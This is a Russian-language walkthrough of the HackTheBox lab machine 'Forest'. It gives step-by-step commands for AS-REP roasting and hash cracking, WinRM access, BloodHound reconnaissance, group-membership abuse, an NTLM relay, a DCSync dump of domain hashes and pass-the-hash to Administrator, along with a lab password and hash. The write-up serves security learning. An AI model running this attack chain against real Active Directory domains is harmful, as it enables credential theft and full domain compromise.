Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье разберемся с AS-REP Roasting в схеме аутентификации Kerberos, используем BloodHound для разведки в домене, выполняем атаку DCSync PrivExchange и атаку Pass-The-Hash.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.161, который я добавляю в /etc/hosts.
10.10.10.161 forest.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000
На хосте оказалось очень много открытых портов, и я решил удостовериться правильности результатов, предоставленных masscan. Для этого просто просканировал состояние портов в nmap.
nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714
Но nmap все подтвердил. Далее нужно собрать больше информации об известных nmap’у портах.
nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001
Далее необходимо получить как можно больше информации из системы. Для этого я использовал enum4linux. Но он нам выдал мало информации. Группы, требование к паролям, отсутствие SMBv1 и расшаренных ресурсов и т.п. Однако мы получили список пользователей.
enum4linux -a 10.10.10.161
Так как на хосте работает керберос, необходим проверить, есть ли такая учетная запись пользователя, у которой в UAC установлен флаг DONT_REQ_PREAUTH. Про флаги UAC и что они означают, можно подробно узнать здесь. Флаг DONT_REQ_PREAUTH означает, что для данной учетной записи не требуется предварительная проверка подлинности Kerberos.
Для начала следует узнать, какие из учетных записей пользователей активны. Это поможет сделать скрипт samrdump входящий в состав пакета impacket.
impacket-samrdump forest.htb
Скрипт выводит сначала всех пользователей, а затем подробную информацию о каждом из них. Так можно наблюдать, что учетная запись Administrator активна, а Guest — нет. Теперь мы можем составить список активных пользователей.
Когда у нас есть список активных пользователей, мы можем проверить наличие нужного нам флага. Это мы можем сделать с помощью скрипта GetNPUsers, также входящего в состав пакета impacket. Мы указываем домен htb.local, контроллер домена 10.10.10.161, способ аутентификации керберос(-k), опция без пароля и список пользователей.
GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt 
Нам говорят, что данный флаг у всех пользователей, кроме svc-alfresco не установлен. В моей версии impacket (21-dev) хеш запрашивается автоматически.
Entry Point — AS-REP Roasting
Пару слов о том, что за хеш нам вернули. Внизу представлена схема аутентификации Керберос.
Как можно видеть, на первом этапе: клиент посылает сообщение c идентификатором пользователя на сервер аутентификации AS с запросом услуги от имени пользователя. AS генерирует секретный ключ путем хэширования пароля пользователя, найденного в базе данных.
Таким образом мы можем пробрутить хеш и узнать пароль. Данный вид атаки называется AS-REP Roasting. Сохраним хеш в файл и найдем прообраз.
john --wordlist=./rockyou.txt hashes2.txt
И мы находим пароль пользователя.
USER
Если вернуться к открытым портам, можно обнаружить работающую службу WinRM (или Windows Remote Management), предназначенную для удаленного управления. У нас есть логин и пароль пользователя, поэтому мы можем спокойно подключиться к ней. Для этого я использую evil-winrm.
Таким образом мы берем юзера.
ROOT
Разветка с BloodHound
Теперь нам нужно повысить себе привилегии. Для того, чтобы наметить пути LPE в домене, можно использовать программу BloodHound.
Evil-winrm позволяет загружать файлы как на хост, так и с него. Я загрузил на хост SharpHound — модуль для сбора информации.
Также evil-winrm позволяет выполнять powershell скрипты. Укажем пользователя, пароль, а также то, что мы хотим узнать все, что можно.
После выполнения скрипта, в текущей директории появится zip-архив. Его мы загружаем с хоста.
Далее запустим графовую СУБД neo4j, с которой работает BloodHound.
neo4j console
Теперь запустим BloodHound. Нас встретит пустой экран.
Теперь просто перетаскиваем в него скачанный архив. И переходим на вкладку Queries.
И говорим, что хотим найти кратчайшие пути к Админам домена. BloodHound построит граф — путь нашего последовательного продвижения. Нажимая на каждый узел сети, будем получать о нем информацию.
Таким образом, нам говорят, что мы должны стать членом группы Exchange Windows Permissions, а только потом мы можем повышать привилегии.
net user svc-alfresco
Сейчас пользователь не входит в данную группу. Давайте добавим его, а потом проверим группы пользователя.
Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco
Пользователь успешно добавлен в группу. Теперь разберемся, что это нам дает. Группа Exchange Windows Permissions обладает правом WriteDACL (право на выдачу прав) на объект Domain в Active Directory, что позволяет любому участнику группы изменять привилегии домена, в том числе на выполнение DCSync операций.
DCSync
Немного об атаке DCSync. Репликация Active Directory — это процесс, посредством которого изменения, внесенные на одном из контроллеров домена, синхронизируются с остальными контроллерами в домене. При получении необходимых разрешений мы можем инициировать запрос репликации, что позволит нам получить данные, хранящиеся в Active Directory, в том числе хэши паролей.
То есть мы можем синхронизировать хеши паролей пользователей Active Directory и под их именем авторизоваться в любом сервисе, использующем протоколы NTLM (разработанный Microsoft протокол сетевой аутентификации) или Kerberos. Атака предусматривает использование двух инструментов privexchange.py и ntlmrelayx.py из пакета impacket.
Первым делом запустим ntlmrelayx в режиме ретрансляции LDAP на контроллер домена с учетной записью svc-alfresco.
ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco
Все сервисы запущены и ожидают подключения. Теперь используем privex.
python privexchange.py 10.10.10.161 -ah наш_ip -d htb.local -u svc-alfresco -p s3rvice
И тут у меня полетела куча ошибок, покопавшись пару минут, было принято решение их не устранять. Можно перейти по ссылке выше в браузере и с учетными данными svc-alfresco пройти HTTP аутентификацию. В окне с ntlmrelayx увидим информацию о подключении.
Теперь выполним Атаку DCSync с помощью secretsdump.
secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc
Отлично. Мы смогли выполнить репликацию всех учетных записей.
Атака Pass-the-hash
Данная атака позволяет атакующему авторизоваться на удалённом сервере, аутентификация на котором осуществляется с использованием протокола NTLM или LM.
В системах, использующих протокол аутентификации NTLM, пароли никогда не передаются по каналу связи в открытом виде. Вместо этого они передаются соответствующей системе (такой, как контроллер домена) в виде хешей на этапе ответа в схеме аутентификации вопрос-ответ.
Приложения Windows запрашивают у пользователя пароль в открытом виде, а затем вызывают API (например, LsaLogonUser), которые преобразуют пароль в LM хеш и NTLM хеш и передают их в процессе аутентификации. Анализ протоколов показал, что для успешной аутентификации не обязательно знать пароль в открытом виде, вместо этого может использоваться только его хеш.
В основе атаки лежит слабость в реализации протокола сетевой аутентификации. Она заключается в том, что хеши паролей передаются без использования соли, а потому остаются неизменными от сессии к сессии (до тех пор, пока не изменяется пароль пользователя). Другими словами, для атакующего хеши паролей эквивалентны самим паролям.
Выполним атаку с помощью psexec.
psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161
Мы в системы с полными правами.
Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов
